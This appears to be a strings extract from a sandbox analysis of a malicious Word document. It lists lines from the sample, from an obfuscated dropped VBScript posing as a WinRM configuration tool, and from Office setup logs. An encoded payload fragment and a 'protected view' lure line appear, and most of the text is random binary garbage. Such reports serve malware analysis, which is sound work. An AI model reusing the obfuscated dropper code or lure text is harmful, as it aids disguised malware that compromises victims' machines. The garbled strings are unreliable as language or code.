DcAOAA1AGMAdgA5ADMAMwBiAC8AMgAvAGIATAB2AC8AMwByADgAKwB0AC8AKwBLAC8ALwAvAHYAWAByAC8ALwBsAFAAcAAzADkAKwBlAHoANwArADUAUgAvACsAOABSACsAKwBiAFAANwB6AHcANQBlADcATAAzAGMAUAA4ADMAOAAvAC8ATgBOAC8ALwBPAGQ

Ansi based on Dropped File (ProjectConfManagerNT.ini)

SqJ&3")8LiG@@DSHk"XK%r umll7m$I_>X

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ss x}^#8{J]K<%H:UB8?y{=Tlc]rOqz.hmcf5':Jwt6f

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

sS<LG%MeF_Y)<*Kj<I%xt\<^RVH/ZUF/^XI`R\vA#\x,;PhSSFZB=ojFI,C%oeqOJ=UCp=T0.<w=4F(QVq1&0TO%K"P{+}4#}#(A]tPD^eH

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

status = GetElementByXpath(updateOutput, xpathStatus)

Ansi based on Dropped File (ConfManagerNT.vbs)

stdErr.WriteLine displayText

Ansi based on Dropped File (ConfManagerNT.vbs)

stdErr.WriteLine e.Error

Ansi based on Dropped File (ConfManagerNT.vbs)

stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_MSXML3MISSING_Message")

Ansi based on Dropped File (ConfManagerNT.vbs)

stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_PUT_PARAM_NOARRAY_Message") & m.Submatches(0)

Ansi based on Dropped File (ConfManagerNT.vbs)

stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_QuickConfig_MissingUpdateXml_0_ErrorMessage")

Ansi based on Dropped File (ConfManagerNT.vbs)

stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_QuickConfig_RemotingDisabledbyGP_00_ErrorMessage")

Ansi based on Dropped File (ConfManagerNT.vbs)

stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_QuickConfigUpdateFailed_ErrorMessage")

Ansi based on Dropped File (ConfManagerNT.vbs)

stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_RESOURCELOCATOR_Message")

Ansi based on Dropped File (ConfManagerNT.vbs)

stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_XMLERROR_Message") & paramXmlFile.parseError.reason

Ansi based on Dropped File (ConfManagerNT.vbs)

stdErr.WriteLine GetResource("L_HashSyntax_ErrorMessage")

Ansi based on Dropped File (ConfManagerNT.vbs)

stdErr.WriteLine GetResource("L_QuickConfig_InvalidBool_0_ErrorMessage")

Ansi based on Dropped File (ConfManagerNT.vbs)

stdOut.write GetResource("L_QuickConfig_Prompt_0_Message")

Ansi based on Dropped File (ConfManagerNT.vbs)

stdOut.WriteLine ""

Ansi based on Dropped File (ConfManagerNT.vbs)

stdOut.writeline ""

Ansi based on Dropped File (ConfManagerNT.vbs)

stdOut.writeline displayText

Ansi based on Dropped File (ConfManagerNT.vbs)

stdOut.writeline GetResource("L_QuickConfig_ServiceUpdatesNeeded_0_Message")

Ansi based on Dropped File (ConfManagerNT.vbs)

stdOut.writeline GetResource("L_QuickConfig_UpdatesNeeded_0_Message")

Ansi based on Dropped File (ConfManagerNT.vbs)

stdOut.writeline GetResource("L_QuickConfig_UpdatesNeeded_1_Message")

Ansi based on Dropped File (ConfManagerNT.vbs)

stdOut.WriteLine GetResource("L_QuickConfigNoChangesNeeded_Message")

Ansi based on Dropped File (ConfManagerNT.vbs)

stdOut.WriteLine GetResource("L_QuickConfigNoServiceChangesNeeded_Message2")

Ansi based on Dropped File (ConfManagerNT.vbs)

stdOut.WriteLine GetResource("L_QuickConfigUpdated_Message")

Ansi based on Dropped File (ConfManagerNT.vbs)

stdOut.WriteLine GetResource("L_QuickConfigUpdatedService_Message")

Ansi based on Dropped File (ConfManagerNT.vbs)

stdOut.WriteLine resultText

Ansi based on Dropped File (ConfManagerNT.vbs)

strCommand = Mid(strFullName, j+1, i-j-1)

Ansi based on Dropped File (ConfManagerNT.vbs)

strFullName = WScript.FullName

Ansi based on Dropped File (ConfManagerNT.vbs)

StripParams = Left(uri, qmpos - 1)

Ansi based on Dropped File (ConfManagerNT.vbs)

StripParams = uri

Ansi based on Dropped File (ConfManagerNT.vbs)

strNameSpace_dVY = riRJPZYdvG

Ansi based on Dropped File (ConfManagerNT.vbs)

strNameSpace_okS = LZadobRYLc

Ansi based on Dropped File (ConfManagerNT.vbs)

strRet_iWj = "?2DD,7J2VP13O3AT+*R1G"

Ansi based on Dropped File (ConfManagerNT.vbs)

strRet_yZU = "=25I1L12S;2DH,7J2C,2D"

Ansi based on Dropped File (ConfManagerNT.vbs)

SU4PiCau(20,lk;~O_'C0{]N3E#r!=={l1"+\=siO6[-'>a8b?]={#{NL=Y[y4Ox:7Q3,@ b3&O'tnc8_ K{l',g;tIkmVz6V9qwI3=-e06N|HWlr.iGh"e?D}nk=B2fL?;GF?S}k+^B?S^p/!Mt?Fd`~REBiJ_i\!DLiAd6AzoX~xVOLW-|rwe6+7b=frF`:J9GeWS7`OvFc5UQqGPT4oPPtGW1._Q63%*+Wn@(3N?_z\pxoLr64{iEOpo+4dupeYi+jK8]wvNC&BI%[Js#2Wd;3,cxGOzoc1w&GEV^l+qxx.y~0x5|$%b"IOe>izL'A}90

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

sub LastError()

Ansi based on Dropped File (ConfManagerNT.vbs)

sub Usage(bExit)

Ansi based on Dropped File (ConfManagerNT.vbs)

sw9^&6M=o/q7H0L27RjLO"e8Z`7VB.l*Zeqv!tjWg*vzD%iE`w0O=M>.qc

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

SyncFramework:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

SystemRestore : Attempting to cancelling System-Restore-Point for Product [Microsoft Office Professional Plus 2010] (with RestorePointType [12, Configured]).

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

SystemRestore : Attempting to set a System-Restore-Point for Product [Microsoft Office Professional Plus 2010] (with RestorePointType [12, Configured]).

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

SystemRestore : Successfully cancelled System-Restore-Point for Product [Microsoft Office Professional Plus 2010] (with RestorePointType [12, Configured]).

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

SystemRestore : Successfully set System-Restore-Point for Product [Microsoft Office Professional Plus 2010] (with RestorePointType [12, Configured]).

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

s{6ehoc'6=h|>

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

s~(X)8&y?(-!5SJj_-L\p\}$+;K.fD'^{!*FE7DNHaJV`pQ4/]""^9g~S#R:}RzTjjjkVJ.$g#}urra{}JRR9Z[0@a#EDD:""D~G{_<oNz*o@t.-&E@-^@_r|~yw_?!T?M@s.R43ZmM&ByOJtlb#+_VDl?21`0rcm{c5ru7IZN6{n7Ec%g(1[lbVPVD"EQ\,:iGV"[DD8Y-C[oM",]TF#7r46E yrw~qe OPAtvKkGDD9^Q%5[I|-*RUU-r{'Af%J\RZV%@/ ~>f{re#r

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

s~e)Ssy!:<C;~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

T dKIt}5z;qV%2]*%=kk_Fgf@z6}}=BgfV10|@>#!;ouN%X %SUa'rx|Dw*'JTJVG=TT^zT\s%3SNw,kY<gH4CR?!7" M%X4xod-}

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

T jDQ1~|wT

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

t!A~n;@e >PC!7'nNp@ + Y-?>E~mN;T~E=M=w2R_">f-MO?gO%KFL#vNIy2=?(Oz&Hz>i^W?||;6p$e4P'+;H^YNG

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

t%%OPFL8}1H_T|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

t/^4ima;qtSvZN^~z)#V2qS&+pF;1Y!}jSX--s#(bc@+ Uh}+|MBdq]rXX(F8VnekEx/a!`k@"-4Hn9%4{p

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

t0;k)Ar;mLi2{fba2eN]%H"*af+g_q%+O=on^_T$/_7_Pqg([R}]Yd?x68o"_:\FFI:xm+d=8"Z210@2C

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

T2rs69K90[;cdw.Mj9T^|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

t3B3V?B)>uwH8XNoG8|Q*cB(2k$x#d`]/0C806$bYD&&Lr`7`!Jd='}\??b1v\t@kFLx;He{yXC<CCAlfV{

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

T6\P6%Cl:NF)+7-#!ozR6P

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

T;So`vy#bdNmy=e]($:"G4!CV,FJ,^DMV4Cq5vd8aI!g!^y}sQpd

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

t<:ET+}iybV<8UJ/wQ3>,Z]nd5U"x7H"fVa(!iqaEtXV`Pz7?3-jF:!IrLoPOG_^u.5mbj,RiA<1?uRG^s4I@D]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

T<TU%v7 4:h O|~d>w(K%yW#yfl[:$S<vQ{j_n>jB+Ue`(xI|e }|QsX\5snkvoS_+IdK6#iKlwqLQdJ\;=te*(ueiXJL?V@vJfZo6!z&uFXQ.(w";`)doD$ v{Vp*/ksYUYF$Tj%%+#o_

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

T>nC6FGv*>pO;=D<Agm-~ 29~s.Nvs@l >Zp" ;Sew /o?:.O6qtw1Ep'1X% 191QT

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

t[-+np*{]SG*I[oZZNy+Q_Z_&,]Yj}Y5Yvpn^meN[WFYe3_x+ .O(K'&{+(W i5"=y{{@667,gIHRu9=OUK2m!U^ao!?VH7r*B>p{ NNCpcw1w:qGer|$d-h_OOO)"}bw}{eWBxI nQs\_/;'bEB)4

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

t]C}GGx:t86Cu#:tdCc:tp,]:@Gv:t8CuX#:tdCc:tp,]:@Gv:t8CuX#:tdCc:tp,]:@Gv:t8CuX#:tdCc:tp,]:@Gv:t8CuX#:tdCc:tp,]:@Gv:t8CufYGux}8DPyzg

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

t]w2'|tgL6B9hj|U=L>T&F]jm$iZ8/x>x:Y'Sn-{[xkoi=a7xycG~7GOVgmsiT<W

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

TabStripEvents

Unicode based on Runtime Data (WINWORD.EXE )

TAG )(XjH)E/fxQA77{#xo_\ZyhE^=T7Cr_B*/ !=<`IfFN=DIxH.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Target Deployment Account Security Identifier:

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

TCDRegistration:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

TCRecoverFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

TCWorks7Files:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

TCWP5Files:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

TCWP6Files:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

tE1Z=QiFb$1OX@IXpd,z[dhPNM7w('F.\'r7=3]$)I^i%0A)5|#`DWVHc(a4taIT*J*ZX-=^ugt4{l]:Q`|TpQUDK# zalF4ODXT\F<!}*B%#e%4wT

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Tempus Sans ITC

Unicode based on Runtime Data (WINWORD.EXE )

TextConverters:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

TfQZ 3c$y

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

tg*;YD<95;

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

tgrN=#6P!I/O>D%>IJ0%4Cjj"rYrIKx_|1u4L)CHQ}L%_5h=97.dh`

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Thagkp&hAkA#4hpn

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

The ProductCode ({90140000-0011-0000-1000-0000000FF1CE}) is resolved to ProductId (PROPLUS)

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

The UI level has been set to: Basic

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ThemesAdditionalFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

THEMESFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ThemesTypicalFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

There appears to be no rollback work to do for package: OfficeMUI.en-us path: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Office.en-us\OfficeMUI.MSI

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ThesaurusFiles_1033:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ThesaurusFiles_1036:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ThesaurusFiles_3082:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

thFSH@GTT4Pp9W

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

This Document is in protected view

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

tHxbGz}Bz7G?BlI;H,[>9",#0M-<xOvHN:]CN*?lr;a8l@%<D~_ze~\NzA#LGV6!$;CzWY3fw[:{>%QY)C@4w/my>0BvE@B;fzN*[l-!; !q/N}[_6H?[NC-D!!2#]y'i'AOFC<nP"clxl

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Titlea*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#%PROGRAMFILES%\COMMON~1\MICROS~1\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microso"""0"X"""""

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

tiWWSV(C;[VQG.z`B676K}+?>R_A~< @a4CP%bSAoLk?zvwiB-K]I{GWW}| Tgkgo3qOz^MxI$e@ _<:r*R#zjHe^H8#q_Y7@Zo!:r++QX

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

tMeTAUz2]iR&>VFxlb-7N'j*Yx{V4x% 28Wr

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

TNV14FA{(

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

tO:=V{d#Yd]Od==kw7(x"

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

TOOLSFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

tOXW0TkQ.h'3k_:622RlP\2:{vd!;"Bx3AS1}&AD3uV0V":solgqe,%v}at.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

tr2|]F}UaIa{oUngC+*WWB:~aEilp*,cJ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Traditional Arabic

Unicode based on Runtime Data (WINWORD.EXE )

TranslationCore:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

TranslationFiles_1036:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

TranslationFiles_3082:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

transport = "http"

Ansi based on Dropped File (ConfManagerNT.vbs)

transport = cmdlineOptions.Argument(NPARA_TRANSPORT)

Ansi based on Dropped File (ConfManagerNT.vbs)

Trebuchet MS

Unicode based on Runtime Data (WINWORD.EXE )

TV+wJWp8ywx0(#;yIzIxe#GvKETB

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Tw Cen MT

Unicode based on Runtime Data (WINWORD.EXE )

Tw Cen MT Condensed

Unicode based on Runtime Data (WINWORD.EXE )

Tw Cen MT Condensed Extra Bold

Unicode based on Runtime Data (WINWORD.EXE )

tX5'6+S009p%3yW.nE17!SGMaOB294A'bq1+VR@c-W!`-.*C9w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

TXDQLnvOim="B3))3AW0IG3;D1ZU1<(+*"

Ansi based on Dropped File (ConfManagerNT.vbs)

tz;[BnS+'YlOqgFPj!ViK8s*\ypmH+dY_uN:D?3L:"/Sd =rCtW\={?)`FB&9}uH:W|g0ng _,(w,kM^Q[~`7}6K';x'H{,o

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

t{d`E_Zq+V0p($

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

U"(m4E\UDQlR|b#h6ko{9NhID^U)\Kt/a8BV^q-x_~;}T0~8V"

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

U$3YMtIpa2V}Hl;{X;8DmBG8Xblok[nqW]\{{*(8

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

u%,V!(uOPvX@VgMs4,iDP0tqiy.W0~NFfTb96R&(d]{v,zDfH9o'qi;2_]m;J[?GoK:'|9r7m#7O('x4q0w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

U&,K:.!~9UG/'4#>atQq;*Jhfk5F'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

u/_v/d\zoC;x_dKQyyG~T?X)s|7$?Jk{c^m=:y*_2kKKT7c6p`pM5Mgph/L1(Pu866i3il!\dC*`6%cR+'nD+Q8ji" 6Lqk(jq_mdE{cK,+o]?VU0]:=3m,drL?jq/2bcApm6]Pp.~W^=7aoW{zO>

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

U0"bpO\'pA6;;hjglK.Zx9fP7kn&"&hFSSS&.[dajEKQWVCU]=Loladd;u

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

u1+x>=}HG/7'>^z8p8vp6zg:.vvN[L`&w3f1[6S~pC;[kr~g'O:9?yf8{BpY )uO>c"9tR60L;d;&5;'v4+v4FQNdcm>7/NlO>59w'_dIa\ff><W4r+%F<?)Be9/tx _9wT9m>6TX*/6n3f|3+x?~b>d{o1}/6vhda#NH={E2m~b f!Tb];^>^4bhm~8Tr>Tpm

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

U4AA M.kVdJ,#k'/r,8]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

U5L)P?a0w"?6+K4F@GUyQunC<#sCaF%mhFaT>o+P*av{+K2|Q]*~|=]FB}`PHDe0n%E$p,FaQ~q/oCaVu)e-CfwqM?O[R~r`Ler>x?UVoH&=IKfd:cLe{+,aIDdfLH H\=GT?FmLjk4JK]K:*M*e#5h[(h_pQOgkT6Z&rFL0DP;m"-N@tfJ#6\>GK>@%|!T

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

U6VaKA_\>7qLtB,I+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

U8&fzDH#"?;f()#\r8bV_fZP[RAfUehu2

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

u<,D<z.HYZX"OxOd~~^4>7{bPp{;L?KD|2yy<"1[4vvsZi@|(aHu7.aNo-f#<@'A:JzJ6Wx@x>N3]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

U=yDH6._gJ,dz0|h<'F)ZdePT:53-so,sSQ8oWPsC>(a{(/i:wcqWFjrkV3&9-OdC4LUUl+]iwvlly#7 U{bf6#e}i[6OebY=iS5-SX_ek!=Zfk|{ZNiN9<<WHSa2Jb2n-xdGn/)m[Sj]VWs^.*ARwL?|EFWK2

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

U]s-X> 1d:_y'W27UAOseu,

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ub2K4T,+8)-g?#p2H_@

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

uci>d`<:!pR1;3|/+f$

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

UdoVyC*hm)uJXZS/R]9F,<PJ@$$pp30h,XlxbD)o,BC\>yb!=e]6}j;oI,djbG1~{

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

uDPg^C}sBYW~jq}mj=>o)`9Wh'n6=wof`e6c0hFTvaJ==>C:W"R8sbC"DtpO{T9C

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

UEOGK.]v|RL\h(

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

UeRE1v_erXH)h#gy,brJrG:vXO,i"@W*>r.Ny

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ueyo0C$ A.R0a>

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

uh!@(tC,3<;hg.G`,3,|'?[ .Ni!>Yvo6*+LqMOf~)Up-^hk|G:-4HK}@!<H$rSWkO:R_Sn'L;^_~K%+vKfAfmhw!igrQKl{ t9830^Yd{:C{&w1 7Uh5zc~5-:

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

UJ6p-zTIV4tr^\R?!YBg3\Ux

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

uKpu$GC0\bsb

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

uL.l" )-bq2x;qJqb%sqvAjB>29;@))e@D\&b/3S1OO elWmx\nDWq6o+g?TUmhhnu_ZoF.14SEcdAN-N=s

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

uL5p38bp$!3Xbuy|1+d^nc^}.8dUrfLe9sX~2>k&6:;nCfA;lN&L@<GC1{BLjd\tZ<LJ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

UNCAsIntranet

Unicode based on Runtime Data (WINWORD.EXE )

uo<_h]|u8#Au"h Vl-WL6zJ$/O('U5dbUBhO2aUZeUE

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

uP7DQDN2bYL-!8k^<JK)l\4'"n(KX8!WWNGg/8IDUZiQ/(G)#cE(7hvHVSiwv[Fk^7j;Hv^Q@udYs?8>+8z=O>/HS~"P7iT*\.,$#nDTDeDdtY#_,@Un

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

updateInputXml = GetElementByXpath(analysisOutput, xpathUpdate)

Ansi based on Dropped File (ConfManagerNT.vbs)

updateOutput.LoadXML(updateOutputXml)

Ansi based on Dropped File (ConfManagerNT.vbs)

updateOutputXml = sessionObj.Invoke(action, "winrm/config/service", updateInputXml)

Ansi based on Dropped File (ConfManagerNT.vbs)

UPq:e%#q3d`P1f j> 'c?F\]![jiEuoL79v}ThaZ^ew*fn`0\t\s66o<Htj'lh?mQmr-MSWQHhByUW_V==PJ~cFS5

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ur31oTR7=8 :`v[9CGi(rH>mYC_GD?XTzo ^CX3ln=^s[mEF'8d-Gls;

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

uResult = oDriver.AddPrinterDriver(oDriver)

Ansi based on Dropped File (ConfManagerNT.vbs)

uriTmp = actUri

Ansi based on Dropped File (ConfManagerNT.vbs)

uriTmp = matches(0)

Ansi based on Dropped File (ConfManagerNT.vbs)

uriTmp = resUri

Ansi based on Dropped File (ConfManagerNT.vbs)

uriTmp = StripParams(uriTmp)

Ansi based on Dropped File (ConfManagerNT.vbs)

Using setup controller dll at [%TEMP%\Setup00000b84\OSETUP.DLL].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Using setup controller dll at location [%TEMP%\Setup00000b84\OSETUP.DLL].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

uuPzD+o4@:UB7PvXu6p_B0cp-~lFe,B==g<.":{z7{6 u9WeYU?[4*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

UWuE Y#-O3<ROAYnaG&eA!3

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

UzI'f9z.\=']qUEe[P-gfE+%Ch+{[O6yv)_..~wWz -L]LA^x=uM;S>Emp|Z\7Z&yF~(;%;DVSw,npC

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

U{I\jXN/6"QX5k&^!^43McNMa/SYuJKMrzuyy"Z'jzTrTZ]{4@S"] 7-_]H*T$.+ +s2</eYXlT7wTq|RJ$v\)8Q1xprH*R.`_Je-IX\.qXjVKz]HzU!w_%YY_5UDhZi**2kVT*uRMgr`N4~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

U~2V;i`j#]XL,<f%@fY*oU]0aJha=[xp&Of?I}2,6s;ity7MoTm)pEs7W6?\N?_L9??L?\F'DRe]MY=SE

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

V = vAlue moD 256

Ansi based on Dropped File (ConfManagerNT.vbs)

v#~s^GbWmc7okE[N`{nR(

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

V'N\Ft!}g/P$:CE7X^zgz1{N4fjfvV5j=-e

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

